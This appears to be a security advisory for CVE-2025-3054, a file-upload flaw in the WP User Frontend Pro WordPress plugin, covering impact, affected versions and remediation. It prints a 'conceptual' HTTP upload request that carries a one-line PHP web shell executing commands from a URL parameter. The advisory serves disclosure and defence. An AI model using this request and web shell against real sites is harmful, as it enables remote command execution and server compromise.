Overview
The CVE-2025-3054 vulnerability is a critical security flaw found in the WP User Frontend Pro plugin for WordPress. This flaw allows authenticated attackers with subscriber-level access or above to upload arbitrary files to the affected site’s server. The vulnerability arises due to a lack of file type validation in the upload_files() function, thus potentially enabling remote code execution. It is crucial for all WordPress sites using this plugin, particularly those that have the ‘Private Message’ module enabled and are using the Business version of the PRO software, to take immediate action and secure their systems.
Vulnerability Summary
CVE ID: CVE-2025-3054
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Product | Affected Versions
WP User Frontend Pro Plugin for WordPress | Up to and including 4.1.3
How the Exploit Works
The vulnerability is based on the lack of file type validation in the upload_files() function within the WP User Frontend Pro plugin. An attacker with subscriber-level access can misuse this function to upload arbitrary files, including those having malicious content. Once uploaded, these files could be executed on the server, leading to potential remote code execution and system compromise. It is important to note that this exploit requires the ‘Private Message’ module to be enabled.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /wp-user-frontend-pro/upload_files HTTP/1.1
Host: target-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker sends a HTTP POST request to the vulnerable endpoint with a malicious PHP script as a file upload. If successful, this script could enable the attacker to execute arbitrary commands on the server.
Remediation
To mitigate this vulnerability, it is strongly recommended to apply the vendor patch once it is available. Until then, using a web application firewall (WAF) or intrusion detection system (IDS) can aid in detecting and preventing potential attacks. Additionally, disable the ‘Private Message’ module if it is not in use. Regularly updating all plugins and monitoring for suspicious activity can further enhance security.
